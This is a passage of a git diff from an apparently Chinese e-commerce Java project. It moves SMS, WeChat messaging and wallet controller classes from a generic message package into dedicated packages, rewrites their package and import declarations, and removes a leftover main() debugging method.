| 4 ++-- .../serviceimpl/SmsReachServiceImpl.java | 10 +++++----- .../serviceimpl/SmsSignServiceImpl.java | 8 ++++---- .../serviceimpl/SmsTemplateServiceImpl.java | 8 ++++---- .../cn/lili/modules/system/sms/AliSmsUtil.java | 4 ++-- .../system/sms/impl/SmsUtilAliImplService.java | 4 ++-- .../entity/dos/WechatMPMessage.java | 2 +- .../entity/dos/WechatMessage.java | 2 +- .../entity/enums/WechatMessageItemEnums.java | 2 +- .../mapper/WechatMPMessageMapper.java | 4 ++-- .../mapper/WechatMessageMapper.java | 4 ++-- .../service/WechatMPMessageService.java | 4 ++-- .../service/WechatMessageService.java | 4 ++-- .../serviceimpl/WechatMPMessageServiceImpl.java | 14 +++++++------- .../serviceimpl/WechatMessageServiceImpl.java | 14 +++++++------- .../util/WechatAccessTokenUtil.java | 2 +- .../util/WechatMessageData.java | 2 +- .../util/WechatMessageUtil.java | 13 ++++++------- .../util/WechatMpCodeUtil.java | 2 +- .../setting/SmsManagerController.java | 4 ++-- .../setting/SmsSignManagerController.java | 4 ++-- .../setting/SmsTemplateManagerController.java | 4 ++-- .../WechatMPMessageManagerController.java | 4 ++-- .../setting/WechatMessageManageController.java | 4 ++-- .../MemberWalletManagerController.java | 2 +- .../MemberWithdrawApplyManagerController.java | 2 +- .../RechargeManagerController.java | 2 +- .../WalletLogManagerController.java | 2 +- 45 files changed, 91 insertions(+), 109 deletions(-) rename buyer-api/src/main/java/cn/lili/controller/{member => wallet}/MemberReceiptController.java (98%) rename buyer-api/src/main/java/cn/lili/controller/{order => wallet}/WalletLogBuyerController.java (97%) rename framework/src/main/java/cn/lili/modules/{message => sms}/entity/dos/SmsReach.java (97%) rename framework/src/main/java/cn/lili/modules/{message => sms}/entity/dos/SmsSign.java (96%) rename framework/src/main/java/cn/lili/modules/{message => sms}/entity/dos/SmsTemplate.java (96%) rename framework/src/main/java/cn/lili/modules/{message => sms}/entity/dto/SmsReachDTO.java (67%) rename framework/src/main/java/cn/lili/modules/{message => sms}/mapper/SmsReachMapper.java (70%) rename framework/src/main/java/cn/lili/modules/{message => sms}/mapper/SmsSignMapper.java (70%) rename framework/src/main/java/cn/lili/modules/{message => sms}/mapper/SmsTemplateMapper.java (69%) rename framework/src/main/java/cn/lili/modules/{message => sms}/service/SmsReachService.java (81%) rename framework/src/main/java/cn/lili/modules/{message => sms}/service/SmsSignService.java (91%) rename framework/src/main/java/cn/lili/modules/{message => sms}/service/SmsTemplateService.java (91%) rename framework/src/main/java/cn/lili/modules/{message => sms}/serviceimpl/SmsReachServiceImpl.java (84%) rename framework/src/main/java/cn/lili/modules/{message => sms}/serviceimpl/SmsSignServiceImpl.java (93%) rename framework/src/main/java/cn/lili/modules/{message => sms}/serviceimpl/SmsTemplateServiceImpl.java (93%) rename framework/src/main/java/cn/lili/modules/{message => wechat}/entity/dos/WechatMPMessage.java (95%) rename framework/src/main/java/cn/lili/modules/{message => wechat}/entity/dos/WechatMessage.java (95%) rename framework/src/main/java/cn/lili/modules/{message => wechat}/entity/enums/WechatMessageItemEnums.java (96%) rename framework/src/main/java/cn/lili/modules/{message => wechat}/mapper/WechatMPMessageMapper.java (78%) rename framework/src/main/java/cn/lili/modules/{message => wechat}/mapper/WechatMessageMapper.java (77%) rename framework/src/main/java/cn/lili/modules/{message => wechat}/service/WechatMPMessageService.java (73%) rename framework/src/main/java/cn/lili/modules/{message => wechat}/service/WechatMessageService.java (72%) rename framework/src/main/java/cn/lili/modules/{message => wechat}/serviceimpl/WechatMPMessageServiceImpl.java (95%) rename framework/src/main/java/cn/lili/modules/{message => wechat}/serviceimpl/WechatMessageServiceImpl.java (94%) rename framework/src/main/java/cn/lili/modules/{message => wechat}/util/WechatAccessTokenUtil.java (99%) rename framework/src/main/java/cn/lili/modules/{message => wechat}/util/WechatMessageData.java (97%) rename framework/src/main/java/cn/lili/modules/{message => wechat}/util/WechatMessageUtil.java (96%) rename framework/src/main/java/cn/lili/modules/{message => wechat}/util/WechatMpCodeUtil.java (99%) rename manager-api/src/main/java/cn/lili/controller/{member => wallet}/MemberWalletManagerController.java (97%) rename manager-api/src/main/java/cn/lili/controller/{member => wallet}/MemberWithdrawApplyManagerController.java (98%) rename manager-api/src/main/java/cn/lili/controller/{order => wallet}/RechargeManagerController.java (97%) rename manager-api/src/main/java/cn/lili/controller/{order => wallet}/WalletLogManagerController.java (97%) diff --git a/buyer-api/src/main/java/cn/lili/controller/passport/connect/MiniProgramBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/passport/connect/MiniProgramBuyerController.java index f7c63f4a..1ca3b1d8 100644 --- a/buyer-api/src/main/java/cn/lili/controller/passport/connect/MiniProgramBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/passport/connect/MiniProgramBuyerController.java @@ -5,10 +5,10 @@ import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.connect.entity.dto.WechatMPLoginParams; import cn.lili.modules.connect.service.ConnectService; -import cn.lili.modules.message.entity.dos.WechatMPMessage; +import cn.lili.modules.wechat.entity.dos.WechatMPMessage; import cn.lili.modules.message.service.ShortLinkService; -import cn.lili.modules.message.service.WechatMPMessageService; -import cn.lili.modules.message.util.WechatMpCodeUtil; +import cn.lili.modules.wechat.service.WechatMPMessageService; +import cn.lili.modules.wechat.util.WechatMpCodeUtil; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; diff --git a/buyer-api/src/main/java/cn/lili/controller/member/MemberReceiptController.java b/buyer-api/src/main/java/cn/lili/controller/wallet/MemberReceiptController.java similarity index 98% rename from buyer-api/src/main/java/cn/lili/controller/member/MemberReceiptController.java rename to buyer-api/src/main/java/cn/lili/controller/wallet/MemberReceiptController.java index 2d82d55c..63e2c6c4 100644 --- a/buyer-api/src/main/java/cn/lili/controller/member/MemberReceiptController.java +++ b/buyer-api/src/main/java/cn/lili/controller/wallet/MemberReceiptController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.member; +package cn.lili.controller.wallet; import cn.lili.common.enums.ResultUtil; diff --git a/buyer-api/src/main/java/cn/lili/controller/order/WalletLogBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/wallet/WalletLogBuyerController.java similarity index 97% rename from buyer-api/src/main/java/cn/lili/controller/order/WalletLogBuyerController.java rename to buyer-api/src/main/java/cn/lili/controller/wallet/WalletLogBuyerController.java index 70ebd2c0..676301fe 100644 --- a/buyer-api/src/main/java/cn/lili/controller/order/WalletLogBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/wallet/WalletLogBuyerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.order; +package cn.lili.controller.wallet; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.AuthUser; diff --git a/consumer/src/main/java/cn/lili/event/impl/WechatMessageExecute.java b/consumer/src/main/java/cn/lili/event/impl/WechatMessageExecute.java index dbd1d6ea..97c84490 100644 --- a/consumer/src/main/java/cn/lili/event/impl/WechatMessageExecute.java +++ b/consumer/src/main/java/cn/lili/event/impl/WechatMessageExecute.java @@ -2,7 +2,7 @@ package cn.lili.event.impl; import cn.lili.event.OrderStatusChangeEvent; import cn.lili.event.TradeEvent; -import cn.lili.modules.message.util.WechatMessageUtil; +import cn.lili.modules.wechat.util.WechatMessageUtil; import cn.lili.modules.order.cart.entity.dto.TradeDTO; import cn.lili.modules.order.order.entity.dto.OrderMessage; import cn.lili.modules.order.order.entity.vo.OrderVO; diff --git a/consumer/src/main/java/cn/lili/listener/NoticeSendMessageListener.java b/consumer/src/main/java/cn/lili/listener/NoticeSendMessageListener.java index c45dad05..e0ce866e 100644 --- a/consumer/src/main/java/cn/lili/listener/NoticeSendMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/NoticeSendMessageListener.java @@ -10,7 +10,7 @@ import cn.lili.modules.member.service.MemberService; import cn.lili.modules.message.entity.dos.MemberMessage; import cn.lili.modules.message.entity.dos.Message; import cn.lili.modules.message.entity.dos.StoreMessage; -import cn.lili.modules.message.entity.dto.SmsReachDTO; +import cn.lili.modules.sms.entity.dto.SmsReachDTO; import cn.lili.modules.message.entity.enums.MessageSendClient; import cn.lili.modules.message.entity.enums.MessageStatusEnum; import cn.lili.modules.message.entity.enums.RangeEnum; diff --git a/consumer/src/main/java/cn/lili/timetask/handler/impl/statistics/MemberStatisticsExecute.java b/consumer/src/main/java/cn/lili/timetask/handler/impl/statistics/MemberStatisticsExecute.java index 8e34ceca..b349250d 100644 --- a/consumer/src/main/java/cn/lili/timetask/handler/impl/statistics/MemberStatisticsExecute.java +++ b/consumer/src/main/java/cn/lili/timetask/handler/impl/statistics/MemberStatisticsExecute.java @@ -52,21 +52,4 @@ public class MemberStatisticsExecute implements EveryDayExecute { log.error("每日会员统计功能异常:", e); } } - - public static void main(String[] args) { - - //统计的时间(开始。结束时间) - Date startTime, endTime; - //初始值 - Calendar calendar = Calendar.getInstance(); - calendar.set(Calendar.SECOND, 0); - calendar.set(Calendar.MILLISECOND, 1); - calendar.set(Calendar.MINUTE, 0); - calendar.set(Calendar.HOUR_OF_DAY, 0); - endTime = calendar.getTime(); - //-1天,即为开始时间 - calendar.set(Calendar.DAY_OF_MONTH, calendar.get(Calendar.DAY_OF_MONTH) - 1); - startTime = calendar.getTime(); - System.out.println(startTime); - } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/goods/util/WechatLivePlayerUtil.java b/framework/src/main/java/cn/lili/modules/goods/util/WechatLivePlayerUtil.java index caaeb79f..59a05ca4 100644 --- a/framework/src/main/java/cn/lili/modules/goods/util/WechatLivePlayerUtil.java +++ b/framework/src/main/java/cn/lili/modules/goods/util/WechatLivePlayerUtil.java @@ -7,7 +7,7 @@ import cn.lili.common.utils.HttpUtils; import cn.lili.modules.goods.entity.dos.Commodity; import cn.lili.modules.goods.entity.dos.Studio; import cn.lili.modules.goods.entity.dto.GoodsInfo; -import cn.lili.modules.message.util.WechatAccessTokenUtil; +import cn.lili.modules.wechat.util.WechatAccessTokenUtil; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; diff --git a/framework/src/main/java/cn/lili/modules/goods/util/WechatMediaUtil.java b/framework/src/main/java/cn/lili/modules/goods/util/WechatMediaUtil.java index e429aef4..f5f16fca 100644 --- a/framework/src/main/java/cn/lili/modules/goods/util/WechatMediaUtil.java +++ b/framework/src/main/java/cn/lili/modules/goods/util/WechatMediaUtil.java @@ -4,7 +4,7 @@ import cn.hutool.json.JSONObject; import cn.lili.common.enums.ClientTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; -import cn.lili.modules.message.util.WechatAccessTokenUtil; +import cn.lili.modules.wechat.util.WechatAccessTokenUtil; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; diff --git a/framework/src/main/java/cn/lili/modules/message/entity/dos/SmsReach.java b/framework/src/main/java/cn/lili/modules/sms/entity/dos/SmsReach.java similarity index 97% rename from framework/src/main/java/cn/lili/modules/message/entity/dos/SmsReach.java rename to framework/src/main/java/cn/lili/modules/sms/entity/dos/SmsReach.java index a3b94bba..09ec8dfa 100644 --- a/framework/src/main/java/cn/lili/modules/message/entity/dos/SmsReach.java +++ b/framework/src/main/java/cn/lili/modules/sms/entity/dos/SmsReach.java @@ -1,4 +1,4 @@ -package cn.lili.modules.message.entity.dos; +package cn.lili.modules.sms.entity.dos; import cn.lili.mybatis.BaseIdEntity; import com.baomidou.mybatisplus.annotation.FieldFill; diff --git a/framework/src/main/java/cn/lili/modules/message/entity/dos/SmsSign.java b/framework/src/main/java/cn/lili/modules/sms/entity/dos/SmsSign.java similarity index 96% rename from framework/src/main/java/cn/lili/modules/message/entity/dos/SmsSign.java rename to framework/src/main/java/cn/lili/modules/sms/entity/dos/SmsSign.java index 2e54b1e5..6c7ade7d 100644 --- a/framework/src/main/java/cn/lili/modules/message/entity/dos/SmsSign.java +++ b/framework/src/main/java/cn/lili/modules/sms/entity/dos/SmsSign.java @@ -1,4 +1,4 @@ -package cn.lili.modules.message.entity.dos; +package cn.lili.modules.sms.entity.dos; import cn.lili.mybatis.BaseIdEntity; import com.baomidou.mybatisplus.annotation.TableName; diff --git a/framework/src/main/java/cn/lili/modules/message/entity/dos/SmsTemplate.java b/framework/src/main/java/cn/lili/modules/sms/entity/dos/SmsTemplate.java similarity index 96% rename from framework/src/main/java/cn/lili/modules/message/entity/dos/SmsTemplate.java rename to framework/src/main/java/cn/lili/modules/sms/entity/dos/SmsTemplate.java index ac6c3bdc..855721f0 100644 --- a/framework/src/main/java/cn/lili/modules/message/entity/dos/SmsTemplate.java +++ b/framework/src/main/java/cn/lili/modules/sms/entity/dos/SmsTemplate.java @@ -1,4 +1,4 @@ -package cn.lili.modules.message.entity.dos; +package cn.lili.modules.sms.entity.dos; import cn.lili.mybatis.BaseIdEntity; import com.baomidou.mybatisplus.annotation.TableName; diff --git a/framework/src/main/java/cn/lili/modules/message/entity/dto/SmsReachDTO.java b/framework/src/main/java/cn/lili/modules/sms/entity/dto/SmsReachDTO.java similarity index 67% rename from framework/src/main/java/cn/lili/modules/message/entity/dto/SmsReachDTO.java rename to framework/src/main/java/cn/lili/modules/sms/entity/dto/SmsReachDTO.java index 14ac747f..8081387d 100644 --- a/framework/src/main/java/cn/lili/modules/message/entity/dto/SmsReachDTO.java +++ b/framework/src/main/java/cn/lili/modules/sms/entity/dto/SmsReachDTO.java @@ -1,6 +1,6 @@ -package cn.lili.modules.message.entity.dto; +package cn.lili.modules.sms.entity.dto; -import cn.lili.modules.message.entity.dos.SmsReach; +import cn.lili.modules.sms.entity.dos.SmsReach; import lombok.Data; import java.util.List; diff --git a/framework/src/main/java/cn/lili/modules/message/mapper/SmsReachMapper.java b/framework/src/main/java/cn/lili/modules/sms/mapper/SmsReachMapper.java similarity index 70% rename from framework/src/main/java/cn/lili/modules/message/mapper/SmsReachMapper.java rename to framework/src/main/java/cn/lili/modules/sms/mapper/SmsReachMapper.java index 5856195e..dc59ac51 100644 --- a/framework/src/main/java/cn/lili/modules/message/mapper/SmsReachMapper.java +++ b/framework/src/main/java/cn/lili/modules/sms/mapper/SmsReachMapper.java @@ -1,6 +1,6 @@ -package cn.lili.modules.message.mapper; +package cn.lili.modules.sms.mapper; -import cn.lili.modules.message.entity.dos.SmsReach; +import cn.lili.modules.sms.entity.dos.SmsReach; import com.baomidou.mybatisplus.core.mapper.BaseMapper; /** diff --git a/framework/src/main/java/cn/lili/modules/message/mapper/SmsSignMapper.java b/framework/src/main/java/cn/lili/modules/sms/mapper/SmsSignMapper.java similarity index 70% rename from framework/src/main/java/cn/lili/modules/message/mapper/SmsSignMapper.java rename to framework/src/main/java/cn/lili/modules/sms/mapper/SmsSignMapper.java index b600937f..fd566fb1 100644 --- a/framework/src/main/java/cn/lili/modules/message/mapper/SmsSignMapper.java +++ b/framework/src/main/java/cn/lili/modules/sms/mapper/SmsSignMapper.java @@ -1,6 +1,6 @@ -package cn.lili.modules.message.mapper; +package cn.lili.modules.sms.mapper; -import cn.lili.modules.message.entity.dos.SmsSign; +import cn.lili.modules.sms.entity.dos.SmsSign; import com.baomidou.mybatisplus.core.mapper.BaseMapper; /** diff --git a/framework/src/main/java/cn/lili/modules/message/mapper/SmsTemplateMapper.java b/framework/src/main/java/cn/lili/modules/sms/mapper/SmsTemplateMapper.java similarity index 69% rename from framework/src/main/java/cn/lili/modules/message/mapper/SmsTemplateMapper.java rename to framework/src/main/java/cn/lili/modules/sms/mapper/SmsTemplateMapper.java index 78638896..ea92d487 100644 --- a/framework/src/main/java/cn/lili/modules/message/mapper/SmsTemplateMapper.java +++ b/framework/src/main/java/cn/lili/modules/sms/mapper/SmsTemplateMapper.java @@ -1,6 +1,6 @@ -package cn.lili.modules.message.mapper; +package cn.lili.modules.sms.mapper; -import cn.lili.modules.message.entity.dos.SmsTemplate; +import cn.lili.modules.sms.entity.dos.SmsTemplate; import com.baomidou.mybatisplus.core.mapper.BaseMapper; /** diff --git a/framework/src/main/java/cn/lili/modules/message/service/SmsReachService.java b/framework/src/main/java/cn/lili/modules/sms/service/SmsReachService.java similarity index 81% rename from framework/src/main/java/cn/lili/modules/message/service/SmsReachService.java rename to framework/src/main/java/cn/lili/modules/sms/service/SmsReachService.java index 3d9794f5..d93b6ef5 100644 --- a/framework/src/main/java/cn/lili/modules/message/service/SmsReachService.java +++ b/framework/src/main/java/cn/lili/modules/sms/service/SmsReachService.java @@ -1,6 +1,6 @@ -package cn.lili.modules.message.service; +package cn.lili.modules.sms.service; -import cn.lili.modules.message.entity.dos.SmsReach; +import cn.lili.modules.sms.entity.dos.SmsReach; import com.baomidou.mybatisplus.extension.service.IService; import java.util.List; diff --git a/framework/src/main/java/cn/lili/modules/message/service/SmsSignService.java b/framework/src/main/java/cn/lili/modules/sms/service/SmsSignService.java similarity index 91% rename from framework/src/main/java/cn/lili/modules/message/service/SmsSignService.java rename to framework/src/main/java/cn/lili/modules/sms/service/SmsSignService.java index 18439ae5..cada47a6 100644 --- a/framework/src/main/java/cn/lili/modules/message/service/SmsSignService.java +++ b/framework/src/main/java/cn/lili/modules/sms/service/SmsSignService.java @@ -1,7 +1,7 @@ -package cn.lili.modules.message.service; +package cn.lili.modules.sms.service; import cn.lili.common.vo.PageVO; -import cn.lili.modules.message.entity.dos.SmsSign; +import cn.lili.modules.sms.entity.dos.SmsSign; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; diff --git a/framework/src/main/java/cn/lili/modules/message/service/SmsTemplateService.java b/framework/src/main/java/cn/lili/modules/sms/service/SmsTemplateService.java similarity index 91% rename from framework/src/main/java/cn/lili/modules/message/service/SmsTemplateService.java rename to framework/src/main/java/cn/lili/modules/sms/service/SmsTemplateService.java index 7fd1e946..b2ccf111 100644 --- a/framework/src/main/java/cn/lili/modules/message/service/SmsTemplateService.java +++ b/framework/src/main/java/cn/lili/modules/sms/service/SmsTemplateService.java @@ -1,7 +1,7 @@ -package cn.lili.modules.message.service; +package cn.lili.modules.sms.service; import cn.lili.common.vo.PageVO; -import cn.lili.modules.message.entity.dos.SmsTemplate; +import cn.lili.modules.sms.entity.dos.SmsTemplate; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; diff --git a/framework/src/main/java/cn/lili/modules/message/serviceimpl/SmsReachServiceImpl.java b/framework/src/main/java/cn/lili/modules/sms/serviceimpl/SmsReachServiceImpl.java similarity index 84% rename from framework/src/main/java/cn/lili/modules/message/serviceimpl/SmsReachServiceImpl.java rename to framework/src/main/java/cn/lili/modules/sms/serviceimpl/SmsReachServiceImpl.java index 6863ba39..04fe52da 100644 --- a/framework/src/main/java/cn/lili/modules/message/serviceimpl/SmsReachServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/sms/serviceimpl/SmsReachServiceImpl.java @@ -1,14 +1,14 @@ -package cn.lili.modules.message.serviceimpl; +package cn.lili.modules.sms.serviceimpl; import cn.hutool.json.JSONUtil; import cn.lili.rocketmq.RocketmqSendCallbackBuilder; import cn.lili.rocketmq.tags.OtherTagsEnum; import cn.lili.common.utils.BeanUtil; import cn.lili.common.properties.RocketmqCustomProperties; -import cn.lili.modules.message.entity.dos.SmsReach; -import cn.lili.modules.message.entity.dto.SmsReachDTO; -import cn.lili.modules.message.mapper.SmsReachMapper; -import cn.lili.modules.message.service.SmsReachService; +import cn.lili.modules.sms.entity.dos.SmsReach; +import cn.lili.modules.sms.entity.dto.SmsReachDTO; +import cn.lili.modules.sms.mapper.SmsReachMapper; +import cn.lili.modules.sms.service.SmsReachService; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.springframework.beans.factory.annotation.Autowired; diff --git a/framework/src/main/java/cn/lili/modules/message/serviceimpl/SmsSignServiceImpl.java b/framework/src/main/java/cn/lili/modules/sms/serviceimpl/SmsSignServiceImpl.java similarity index 93% rename from framework/src/main/java/cn/lili/modules/message/serviceimpl/SmsSignServiceImpl.java rename to framework/src/main/java/cn/lili/modules/sms/serviceimpl/SmsSignServiceImpl.java index 3cb086b8..85e48518 100644 --- a/framework/src/main/java/cn/lili/modules/message/serviceimpl/SmsSignServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/sms/serviceimpl/SmsSignServiceImpl.java @@ -1,13 +1,13 @@ -package cn.lili.modules.message.serviceimpl; +package cn.lili.modules.sms.serviceimpl; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.modules.system.sms.AliSmsUtil; import cn.lili.mybatis.util.PageUtil; import cn.lili.common.vo.PageVO; -import cn.lili.modules.message.entity.dos.SmsSign; -import cn.lili.modules.message.mapper.SmsSignMapper; -import cn.lili.modules.message.service.SmsSignService; +import cn.lili.modules.sms.entity.dos.SmsSign; +import cn.lili.modules.sms.mapper.SmsSignMapper; +import cn.lili.modules.sms.service.SmsSignService; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; diff --git a/framework/src/main/java/cn/lili/modules/message/serviceimpl/SmsTemplateServiceImpl.java b/framework/src/main/java/cn/lili/modules/sms/serviceimpl/SmsTemplateServiceImpl.java similarity index 93% rename from framework/src/main/java/cn/lili/modules/message/serviceimpl/SmsTemplateServiceImpl.java rename to framework/src/main/java/cn/lili/modules/sms/serviceimpl/SmsTemplateServiceImpl.java index 22fd9e4b..b9bbfe35 100644 --- a/framework/src/main/java/cn/lili/modules/message/serviceimpl/SmsTemplateServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/sms/serviceimpl/SmsTemplateServiceImpl.java @@ -1,11 +1,11 @@ -package cn.lili.modules.message.serviceimpl; +package cn.lili.modules.sms.serviceimpl; import cn.lili.modules.system.sms.AliSmsUtil; import cn.lili.mybatis.util.PageUtil; import cn.lili.common.vo.PageVO; -import cn.lili.modules.message.entity.dos.SmsTemplate; -import cn.lili.modules.message.mapper.SmsTemplateMapper; -import cn.lili.modules.message.service.SmsTemplateService; +import cn.lili.modules.sms.entity.dos.SmsTemplate; +import cn.lili.modules.sms.mapper.SmsTemplateMapper; +import cn.lili.modules.sms.service.SmsTemplateService; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; diff --git a/framework/src/main/java/cn/lili/modules/system/sms/AliSmsUtil.java b/framework/src/main/java/cn/lili/modules/system/sms/AliSmsUtil.java index 1cbdf9b3..3d964d0a 100644 --- a/framework/src/main/java/cn/lili/modules/system/sms/AliSmsUtil.java +++ b/framework/src/main/java/cn/lili/modules/system/sms/AliSmsUtil.java @@ -1,7 +1,7 @@ package cn.lili.modules.system.sms; -import cn.lili.modules.message.entity.dos.SmsSign; -import cn.lili.modules.message.entity.dos.SmsTemplate; +import cn.lili.modules.sms.entity.dos.SmsSign; +import cn.lili.modules.sms.entity.dos.SmsTemplate; import java.util.Map; diff --git a/framework/src/main/java/cn/lili/modules/system/sms/impl/SmsUtilAliImplService.java b/framework/src/main/java/cn/lili/modules/system/sms/impl/SmsUtilAliImplService.java index 4fb1a507..5b48a1e4 100644 --- a/framework/src/main/java/cn/lili/modules/system/sms/impl/SmsUtilAliImplService.java +++ b/framework/src/main/java/cn/lili/modules/system/sms/impl/SmsUtilAliImplService.java @@ -16,8 +16,8 @@ import cn.lili.common.properties.SystemSettingProperties; import cn.lili.common.utils.Base64Utils; import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.member.service.MemberService; -import cn.lili.modules.message.entity.dos.SmsSign; -import cn.lili.modules.message.entity.dos.SmsTemplate; +import cn.lili.modules.sms.entity.dos.SmsSign; +import cn.lili.modules.sms.entity.dos.SmsTemplate; import cn.lili.modules.system.entity.dos.Setting; import cn.lili.modules.system.entity.dto.SmsSetting; import cn.lili.modules.system.entity.enums.SettingEnum; diff --git a/framework/src/main/java/cn/lili/modules/message/entity/dos/WechatMPMessage.java b/framework/src/main/java/cn/lili/modules/wechat/entity/dos/WechatMPMessage.java similarity index 95% rename from framework/src/main/java/cn/lili/modules/message/entity/dos/WechatMPMessage.java rename to framework/src/main/java/cn/lili/modules/wechat/entity/dos/WechatMPMessage.java index 3150f70e..4e1d530c 100644 --- a/framework/src/main/java/cn/lili/modules/message/entity/dos/WechatMPMessage.java +++ b/framework/src/main/java/cn/lili/modules/wechat/entity/dos/WechatMPMessage.java @@ -1,4 +1,4 @@ -package cn.lili.modules.message.entity.dos; +package cn.lili.modules.wechat.entity.dos; import cn.lili.mybatis.BaseEntity; import com.baomidou.mybatisplus.annotation.TableName; diff --git a/framework/src/main/java/cn/lili/modules/message/entity/dos/WechatMessage.java b/framework/src/main/java/cn/lili/modules/wechat/entity/dos/WechatMessage.java similarity index 95% rename from framework/src/main/java/cn/lili/modules/message/entity/dos/WechatMessage.java rename to framework/src/main/java/cn/lili/modules/wechat/entity/dos/WechatMessage.java index adbff5eb..5753b2e6 100644 --- a/framework/src/main/java/cn/lili/modules/message/entity/dos/WechatMessage.java +++ b/framework/src/main/java/cn/lili/modules/wechat/entity/dos/WechatMessage.java @@ -1,4 +1,4 @@ -package cn.lili.modules.message.entity.dos; +package cn.lili.modules.wechat.entity.dos; import cn.lili.mybatis.BaseEntity; import com.baomidou.mybatisplus.annotation.TableName; diff --git a/framework/src/main/java/cn/lili/modules/message/entity/enums/WechatMessageItemEnums.java b/framework/src/main/java/cn/lili/modules/wechat/entity/enums/WechatMessageItemEnums.java similarity index 96% rename from framework/src/main/java/cn/lili/modules/message/entity/enums/WechatMessageItemEnums.java rename to framework/src/main/java/cn/lili/modules/wechat/entity/enums/WechatMessageItemEnums.java index beff0714..9d1697ec 100644 --- a/framework/src/main/java/cn/lili/modules/message/entity/enums/WechatMessageItemEnums.java +++ b/framework/src/main/java/cn/lili/modules/wechat/entity/enums/WechatMessageItemEnums.java @@ -1,4 +1,4 @@ -package cn.lili.modules.message.entity.enums; +package cn.lili.modules.wechat.entity.enums; /** * 微信模版设置变量 diff --git a/framework/src/main/java/cn/lili/modules/message/mapper/WechatMPMessageMapper.java b/framework/src/main/java/cn/lili/modules/wechat/mapper/WechatMPMessageMapper.java similarity index 78% rename from framework/src/main/java/cn/lili/modules/message/mapper/WechatMPMessageMapper.java rename to framework/src/main/java/cn/lili/modules/wechat/mapper/WechatMPMessageMapper.java index 954d7638..bd347022 100644 --- a/framework/src/main/java/cn/lili/modules/message/mapper/WechatMPMessageMapper.java +++ b/framework/src/main/java/cn/lili/modules/wechat/mapper/WechatMPMessageMapper.java @@ -1,7 +1,7 @@ -package cn.lili.modules.message.mapper; +package cn.lili.modules.wechat.mapper; import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import cn.lili.modules.message.entity.dos.WechatMPMessage; +import cn.lili.modules.wechat.entity.dos.WechatMPMessage; import org.apache.ibatis.annotations.Delete; /** diff --git a/framework/src/main/java/cn/lili/modules/message/mapper/WechatMessageMapper.java b/framework/src/main/java/cn/lili/modules/wechat/mapper/WechatMessageMapper.java similarity index 77% rename from framework/src/main/java/cn/lili/modules/message/mapper/WechatMessageMapper.java rename to framework/src/main/java/cn/lili/modules/wechat/mapper/WechatMessageMapper.java index 1fbc16ab..1beb733a 100644 --- a/framework/src/main/java/cn/lili/modules/message/mapper/WechatMessageMapper.java +++ b/framework/src/main/java/cn/lili/modules/wechat/mapper/WechatMessageMapper.java @@ -1,6 +1,6 @@ -package cn.lili.modules.message.mapper; +package cn.lili.modules.wechat.mapper; -import cn.lili.modules.message.entity.dos.WechatMessage; +import cn.lili.modules.wechat.entity.dos.WechatMessage; import com.baomidou.mybatisplus.core.mapper.BaseMapper; import org.apache.ibatis.annotations.Delete; diff --git a/framework/src/main/java/cn/lili/modules/message/service/WechatMPMessageService.java b/framework/src/main/java/cn/lili/modules/wechat/service/WechatMPMessageService.java similarity index 73% rename from framework/src/main/java/cn/lili/modules/message/service/WechatMPMessageService.java rename to framework/src/main/java/cn/lili/modules/wechat/service/WechatMPMessageService.java index 05b2aef8..962bed03 100644 --- a/framework/src/main/java/cn/lili/modules/message/service/WechatMPMessageService.java +++ b/framework/src/main/java/cn/lili/modules/wechat/service/WechatMPMessageService.java @@ -1,7 +1,7 @@ -package cn.lili.modules.message.service; +package cn.lili.modules.wechat.service; import com.baomidou.mybatisplus.extension.service.IService; -import cn.lili.modules.message.entity.dos.WechatMPMessage; +import cn.lili.modules.wechat.entity.dos.WechatMPMessage; /** * 微信小程序消息订阅 业务层 diff --git a/framework/src/main/java/cn/lili/modules/message/service/WechatMessageService.java b/framework/src/main/java/cn/lili/modules/wechat/service/WechatMessageService.java similarity index 72% rename from framework/src/main/java/cn/lili/modules/message/service/WechatMessageService.java rename to framework/src/main/java/cn/lili/modules/wechat/service/WechatMessageService.java index f471ed89..c5514586 100644 --- a/framework/src/main/java/cn/lili/modules/message/service/WechatMessageService.java +++ b/framework/src/main/java/cn/lili/modules/wechat/service/WechatMessageService.java @@ -1,6 +1,6 @@ -package cn.lili.modules.message.service; +package cn.lili.modules.wechat.service; -import cn.lili.modules.message.entity.dos.WechatMessage; +import cn.lili.modules.wechat.entity.dos.WechatMessage; import com.baomidou.mybatisplus.extension.service.IService; /** diff --git a/framework/src/main/java/cn/lili/modules/message/serviceimpl/WechatMPMessageServiceImpl.java b/framework/src/main/java/cn/lili/modules/wechat/serviceimpl/WechatMPMessageServiceImpl.java similarity index 95% rename from 